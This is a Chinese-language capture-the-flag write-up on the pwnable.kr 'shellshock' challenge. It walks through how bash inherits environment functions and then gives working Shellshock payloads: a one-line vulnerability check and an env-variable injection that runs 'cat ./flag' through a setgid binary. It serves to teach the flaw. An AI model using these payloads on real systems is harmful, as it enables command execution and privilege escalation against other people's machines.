shellshock
什么是shellshock
bash 版本 <= 4.1
1、普通shell变量和bash
1 | shellshock@pwnable:~$ gu="hacker" |
从上述实验得出:bash子进程没有继承普通shell变量gu。
2、普通环境变量和bash
1 | shellshock@pwnable:~$ echo $gu |
从上述实验得出:bash子进程继承环境变量gu。
3、函数shell变量和bash
1 | shellshock@pwnable:~$ gu() { echo "gu is a hacker";} |
从上述实验中得出:bash子进程没有继承函数shell变量gu。
4、函数环境变量和bash
1 | shellshock@pwnable:~$ gu |
从上述实验中我们得出:bash子进程继承函数环境变量gu。
5、
1 | shellshock@pwnable:~$ ailx10='() { echo "ailx10 is a hacker";}' |
从上述实验得出:bash子进程误把普通环境变量(){ :; }
当做函数环境变量处理了。
6、(){ :;}
1 | shellshock@pwnable:~$ ailx10='() { :;};/bin/ls' |
从上述实验中得出:bash子进程处理了/bin/ls
。
综上,触发bash漏洞可以归纳如下
1、产生新的bash
2、通过环境变量传递
3、环境变量以(){}
这样的形式
如何用一条语句验证bash漏洞
1 | shellshock@pwnable:~$ env x='() { :;}; echo vulnerable' ./bash -c "echo this is a test" |
env
可以创建临时环境变量。
bash -c
可以运行一个shell命令。
shellshock
回到题目上来
先试试有没有此漏洞
1 | shellshock@pwnable:~$ env x='() { :;}; echo vulnerable' ./bash -c "echo this is a test" |
显然是有的
直接cat flag是没有权限的
1 | shellshock@pwnable:~$ ls -l |
查看shellshock程序
1 | shellshock@pwnable:~$ cat shellshock.c |
这段程序很简单,我们以shellshock身份启动时,程序的权限是other权限r-x,而在setresuid和setresgid中使用effective gid,也就是shellshock_pwn的权限r-s,当程序执行到system时,程序已经具有shellshock_pwn组权限了。
这个组权限对于flag文件来说是可读的,但是问题是这段程序并没有涉及到对flag文件的读操作。
结合上述的bash漏洞
1 | shellshock@pwnable:~$ env x='() { :;}; ./bash -c "cat ./flag"' ./shellshock |
./shellshock
的时候拿到了shllshock_pwn
的权限,而bash漏洞在此权限上执行了cat ./flag
,这一拼接也就导致了提权后的为所欲为了。